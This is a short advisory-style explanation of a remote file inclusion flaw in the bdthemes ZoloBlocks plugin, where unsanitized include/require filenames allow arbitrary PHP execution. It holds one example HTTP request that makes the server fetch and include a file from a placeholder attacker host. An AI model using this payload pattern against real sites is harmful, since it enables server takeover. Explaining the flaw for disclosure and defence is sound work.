How the Exploit Works
The vulnerability stems from a lack of proper sanitization of user input in the filename for include/require statements in PHP programs within bdthemes ZoloBlocks. This allows an attacker to include arbitrary local or remote files using special URL schemes. By exploiting this vulnerability, an attacker could execute arbitrary PHP code on the server, potentially leading to a complete system compromise.
Conceptual Example Code
Here is a conceptual example of how this vulnerability could be exploited. Note this is a simplified representation and actual exploit code would be more complex:
GET /index.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable-site.comIn this example, the attacker tricks the server into including a PHP file from their controlled server (`attacker.com`). This malicious file could contain arbitrary PHP code, leading to potential system compromise.
